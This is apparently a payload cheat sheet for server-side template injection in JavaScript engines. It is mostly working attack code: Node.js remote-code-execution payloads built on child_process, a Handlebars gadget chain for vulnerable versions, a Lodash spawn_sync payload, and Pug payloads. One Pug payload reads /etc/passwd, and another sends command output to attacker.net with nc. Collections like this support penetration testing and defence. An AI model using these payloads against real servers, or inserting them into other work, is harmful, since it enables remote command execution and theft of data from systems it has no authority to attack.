# Server Side Template Injection - JavaScript

> Server-Side Template Injection (SSTI)  occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

## Summary

- [Templating Libraries](#templating-libraries)
- [Universal Payloads](#universal-payloads)
- [Handlebars](#handlebars)
    - [Handlebars - Basic Injection](#handlebars---basic-injection)
    - [Handlebars - Command Execution](#handlebars---command-execution)
- [Lodash](#lodash)
    - [Lodash - Basic Injection](#lodash---basic-injection)
    - [Lodash - Command Execution](#lodash---command-execution)
- [Pug](#pug)
- [References](#references)

## Templating Libraries

| Template Name | Payload Format   |
|---------------|------------------|
| DotJS         | `{{= }}`         |
| DustJS        | `{ }`            |
| EJS           | `<% %>`          |
| HandlebarsJS  | `{{ }}`          |
| HoganJS       | `{{ }}`          |
| Lodash        | `{{= }}`         |
| MustacheJS    | `{{ }}`          |
| NunjucksJS    | `{{ }}`          |
| PugJS         | `#{ }`           |
| TwigJS        | `{{ }}`          |
| UnderscoreJS  | `<% %>`          |
| VelocityJS    | `#=set($X="")$X` |
| VueJS         | `{{ }}`          |

## Universal Payloads

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

To use these payloads, wrap them in the appropriate tag.

```javascript
// Rendered RCE
global.process.mainModule.require("child_process").execSync("id").toString()

// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]

// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]

// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
```

NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.

## Handlebars

[Official website](https://handlebarsjs.com/)
> Handlebars compiles templates into JavaScript functions.

### Handlebars - Basic Injection

```js
{{this}}
{{self}}
```

### Handlebars - Command Execution

This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):

- `>= 4.1.0`, `< 4.1.2`
- `>= 4.0.0`, `< 4.0.14`
- `< 3.0.7`

```handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

---

## Lodash

[Official website](https://lodash.com/docs/4.17.15)
> A modern JavaScript utility library delivering modularity, performance & extras.

### Lodash - Basic Injection

How to create a template:

```javascript
const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
```

- **string:** The template string.
- **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter.
- **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter.
- **options.escape:** It is a regular expression that specifies the HTML *escape* delimiter.

For the purpose of RCE, the delimiter of templates is determined by the **options.evaluate** parameter.

```javascript
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>
```

### Lodash - Command Execution

```js
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
```

---

## Pug

> Universal payloads also work for Pug.

[Official website](https://pugjs.org/api/getting-started.html)
>

```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

## References

- [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
- [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)
